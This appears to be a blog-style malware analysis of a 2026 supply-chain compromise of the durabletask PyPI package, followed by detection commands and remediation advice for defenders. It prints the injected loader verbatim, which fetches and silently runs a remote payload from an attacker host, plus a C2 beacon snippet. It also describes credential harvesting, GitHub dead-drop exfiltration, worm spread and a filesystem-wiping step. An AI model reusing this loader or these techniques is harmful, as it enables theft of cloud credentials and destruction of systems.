← Back to list

A Supply Chain Attack, a Worm, a Dead Drop Hidden in GitHub Commits, and a Filesystem Wiper.

A supply chain attack, a credential-harvesting worm, a geopolitical wiper, and thirteen lines of Python that started it all.

yukisdad · 2026-05-25 00:39 · 0 claps · 8.4 min read
#malware-analysis #worms #shai-hulud #threat-research #supply-chain
Open on Medium ↗
Wiki topics: MAC · Macroeconomics 🔒 · Cybersecurity 🔓 · Open Source 🏛️ · Politics 🚆 · Urban & Transport

A Supply Chain Attack, a Worm, a Dead Drop Hidden in GitHub Commits, and a Filesystem Wiper. One Package.

A supply chain attack, a credential-harvesting worm, a geopolitical wiper, and thirteen lines of Python that started it all.

On May 19, 2026, a threat actor group known as TeamPCP quietly published three malicious versions of durabletask to the Python Package Index (PyPI). If that name sounds familiar, it should, because durabletask is the official Python SDK for Microsoft's Azure Durable Functions, pulling in around 417,000 downloads a month. Azure Functions hosts, CI/CD pipelines, AI agent backends — basically, the kind of infrastructure where a credential theft would hurt the most.

The packages were yanked the same day. But not before they had the chance to deliver one of the more sophisticated second-stage payloads we’ve seen come out of a PyPI supply chain attack.

Here’s what actually happened.

The attacker had what they needed to pull this off:

  • A PyPI publishing token, obtained from leaked GitHub secrets tied to a prior campaign (the @antv PyPI operation, also attributed to TeamPCP).

With that token in hand, they published three malicious wheel files in under 35 minutes.

The injected code, identical in both init.py and task.py of the affected versions looks almost embarrassingly simple:

python
import os, sys, platform, subprocess, urllib.request
if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service.com/rope.pyz",
            "/tmp/managed.pyz"
        )
        with open(os.devnull, 'w') as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f, stderr=f, stdin=f,
                start_new_session=True
            )
    except:
        pass

No third-party imports. No obfuscation. Nothing that would raise an eyebrow in a quick scan…at least, not immediately.

But look closer at what it’s actually doing:

  • It runs the moment you import the package. Python executes module-level code on import. No function call needed. A cold-start Azure Function is enough to trigger it.
  • It’s completely silent. That bare **except: pass** swallows every possible error. DNS timeout? Package imports cleanly. Python not in PATH? Package imports cleanly. No log entry, no stack trace, nothing for a developer to notice.
  • The spawned process is detached. **start_new_session=True** means the payload survives even if the importing process exits immediately.
  • It only targets Linux. Developers pip-installing on a Mac see absolutely nothing unusual which delays detection significantly.
  • The filename blends in. **/tmp/managed.pyz doesn't stand out. The .**pyz extension isn't something most filename-based detection rules are tuned for.

Endor Labs flagged version 1.4.1 within two minutes of publication. The attacker had already published 1.4.2 and 1.4.3 in anticipation of that likely trying to stay ahead of the takedown. All three were removed by the end of the afternoon.

The Payload: rope.pyz

The rope.pyz is a Python Zip Application containing a bundle of Python modules packed into a single executable archive. It's modular, dependency-light, and clearly the product of deliberate engineering. The structure is as follows:

rope.pyz
├── __main__.py         ← environment gating, bootstrap
├── entrypoint.py       ← C2 comms, encryption, exfiltration
├── roulette.py         ← persistence + destructive payload
├── aggregate.py        ← parallel credential collection
├── config.py           ← hardcoded C2 URLs, RSA public key
├── collectors/
│   ├── aws.py
│   ├── azure.py
│   ├── gcp.py
│   ├── kubernetes.py
│   ├── passwords.py
│   ├── propagate.py
│   └── vault.py
└── utilities/
    ├── crypto.py
    └── aws_signer.py

Let’s walk through what it actually does. First off here is the config.py file for further reference

Stage 1: Does This Machine Matter?

Before executing any payload logic, main.py runs three hard-exit checks:

  1. Platform check for Linux only.
  2. If the LANG environment variable starts with ru (Russia), execution stops. This is a classic self-protection technique. Russian-speaking threat actors routinely exclude their own locale to avoid infecting friendly infrastructure.
  3. Anti-sandbox check. Requires more than 2 CPU cores. Most analysis sandboxes and cheap VMs present with 1–2 vCPUs, so this kills automated analysis environments.

Once all 3 checks are passed, The payload silently installs the cryptography Python library if it's not already present, then hands off to entrypoint.py.

Stage 2: Credential Harvesting at Scale

entrypoint.py first fires an early beacon to [***https://check.git-service.com/v1/models](https://check.git-service.com/v1/models)***a path deliberately chosen to blend in with AI/ML API traffic. A 200 response delivers a secondary payload for persistence installation.

req = urllib.request.Request(config.EARLY_QUARANTINE_URL)
with urllib.request.urlopen(req, timeout=config.EARLY_QUARANTINE_TIMEOUT, context=_get_ssl_context()) as res:
    if res.status == 200:
        payload_b64 = res.read().decode().strip()
        roulette.collect(payload_b64)

Then it kicks off the real work: parallel credential collection across every major platform the machine might have access to, specifically:

  • AWS
  • Azure
  • GCP
  • Kubernetes
  • Passwords (Local Password Managers)
  • Vault

All collectors run concurrently in a thread pool.

AWS is the most thorough. It walks the full credential chain environment variables, EC2 IMDSv2 instance metadata, every profile in ~/.aws/ and then sweeps all 19 AWS regions (including GovCloud) for Secrets Manager values, SSM Parameter Store entries (with decryption), and a list of SSM-managed EC2 instances for later use. AWS Signature Version 4 signing is implemented from scratch with no boto3 dependency, keeping the payload fully self-contained.

Azure checks service principal credentials, certificate-based auth, CLI token caches, and managed identity then enumerates every Key Vault across every subscription it can find.

GCP handles service account keys and refresh tokens, then pulls from Google Secret Manager.

Kubernetes is arguably the most aggressive. It parses ~/.kube/config with a custom YAML parser (again, no external dependencies), decodes all base64 secret data across every namespace, and if kubectl isn't already on the system it silently downloads it from dl.k8s.io and runs it from /tmp/.

Local password managers like 1Password, Bitwarden, pass, gopass, get targeted too. If the vault is locked, the collector tries to unlock it automatically by scraping environment variables and parsing ~/.bash_history and ~/.zsh_history for previous unlock commands. The fallback password it tries is “anon”, which is surprisingly effective in misconfigured developer environments.

Vault is targeted the same way. The collector tries every common auth method: environment token, ~/.vault-token, and AppRole then recursively walks every mounted Key-Value secret engine to drain its contents.

The Exfiltration Chain

The collected data is compressed with gzip, encrypted with AES-256-GCM using a random 256-bit key, and then that key is wrapped with a hardcoded RSA-2048 public key. Even if you intercept the traffic, you get nothing readable only the operator’s private key can decrypt it.

The exfiltration has three fallback tiers:

  • PriorityMethod1Direct HTTPS POST to check.git-service.com
  • FIRESCALE dead drop (more on this below)
  • GitHub repo created under the victim's own account

If the attacker’s servers are unreachable, the malware finds any GitHub tokens it already stole, creates a public repo under the victim’s own GitHub account named with two random Russian folklore words and a number (e.g. FIREBIRD-DOMOVOI-247), with the description PUSH UR T3MPRR, and uploads the stolen credentials there as results.json. The attacker then just checks GitHub for repos matching that pattern. No attacker infrastructure is involved, the victim's own account does the delivery itself.

If the primary C2 is unreachable, the malware searches GitHub’s public commit history for commits containing the word FIRESCALE. Each matching commit is checked for a base64-encoded URL and signature in the format FIRESCALE <url>.<signature>. The URL is only used if its RSA-SHA256 signature verifies against a public key hardcoded in the payload. To point all infected machines at a new server, the operator simply pushes a commit containing a freshly signed URL to any public repo on GitHub with no payload update, no redeployment, no attacker-owned infrastructure required.

The Worm

After collecting credentials, propagate.py begins its malicious operations. For any EC2 instances discovered during AWS collection that are managed by AWS Systems Manager meaning they have the SSM agent installed and can receive remote commands without SSH. The malware sends an AWS-RunShellScript command via SSM:SendCommand to up to five non-Windows targets, each of which downloads and runs rope.pyz from the C2 in the background. Kubernetes clusters get the same treatment via kubectl exec into up to five pods. Both propagation paths write a marker file (~/.cache/.sys-update-check) containing a SHA-256 system fingerprint (extracted via _get_system_fingerprint()), the list of targets hit, and a version number to prevent re-infection loops (on the same machine).

The Destructive Payload

The roulette.py also contains something that belongs in a different category from credential theft. The module checks the system timezone and locale for Israeli markers (he_IL, Jerusalem, Tel_Aviv) or Iranian markers (fa_IR, Tehran).

If a match is found, it rolls a six-sided die and if the result is 2 (a 1-in-6 chance):

  • Downloads RunForCover.mp3 from the C2 and plays it at maximum system volume via pactl + mpv
  • Executes *rm -rf /**

The non-deterministic trigger is intentional. It makes the behaviour harder to reproduce consistently in an analysis environment while still ensuring it fires across a large enough infected population.

The music playing before the wipe is a stylistic choice that tells you something about the people behind this.

Attribution

The codebase has a consistent cultural fingerprint. Variable names are drawn from Russian folklore: BABA-YAGA, KOSCHEI, FIREBIRD, RUSALKA, DOMOVOI, MOROZKO, LESHY, SAMOVAR, VODYANOY, KOT-BAYUN. Combined with the Russian locale geofence, the Israeli and Iranian destructive targeting, and Wiz’s link to the prior @antv PyPI campaign, this points toward a Russian-nexus threat actor with both financial (credential theft) and geopolitical (destructive) objectives running in parallel.

Are You Affected?

If any of your Linux systems ran code that imports durabletask and had versions 1.4.1, 1.4.2, or 1.4.3 installed at any point treat it as a full compromise until you prove otherwise.

Quick checks:

# Was the payload downloaded?
ls -la /tmp/managed.pyz 2>/dev/null
ls -la /tmp/rope-*.pyz 2>/dev/null

# Are there propagation markers?
ls -la ~/.cache/.sys-update-check 2>/dev/null

# Is there a suspicious persistence service?
systemctl --user status pgsql-monitor.service 2>/dev/null

# Did any C2 traffic go out?
grep 'git-service.com\|m-kosche.com' /var/log/syslog /var/log/dns* 2>/dev/null

If you find anything:

  • Pin durabletask back to 1.4.0 immediately
  • Delete /tmp/managed.pyz and any */tmp/rope-.pyz files
  • Remove the pgsql-monitor persistence service
  • Assume every credential the process could access is compromised — rotate all of the following without exception: AWS access keys, Azure service principals, GCP service accounts, Kubernetes tokens, Vault tokens, GitHub PATs, Password manager vaults, Anything in environment variables or .env files.

The Bigger Picture

This incident is a clean illustration of how supply chain attacks actually work in practice. The initial compromise was a leaked PyPI token from a prior operation not a zero-day, not a sophisticated intrusion. One token. Three malicious packages. The thirteen lines of injector code are almost insultingly minimal given what they deliver.

That disproportion is the design. Keep the supply chain stage as small and stealthy as possible, let the second stage do the heavy lifting in the background. By the time anyone noticed, the payload had already been running.

The lesson isn’t that PyPI is broken or that Python is unsafe. It’s that CI/CD secrets are high-value targets, hash pinning in package installs actually matters, and SDKs don’t make outbound network connections at import time if yours does, that’s worth asking questions about.


메타데이터
post_id
18c0a9ef1fdd
slug
a-supply-chain-attack-a-worm-a-dead-drop-hidden-in-github-commits-and-a-filesystem-wiper-18c0a9ef1fdd
url
https://medium.com/@yukisdad/a-supply-chain-attack-a-worm-a-dead-drop-hidden-in-github-commits-and-a-filesystem-wiper-18c0a9ef1fdd
canonical_url
https://medium.com/@yukisdad/a-supply-chain-attack-a-worm-a-dead-drop-hidden-in-github-commits-and-a-filesystem-wiper-18c0a9ef1fdd
author_url
https://medium.com/@yukisdad
status
ok
fetched_at
2026-06-09 15:37:30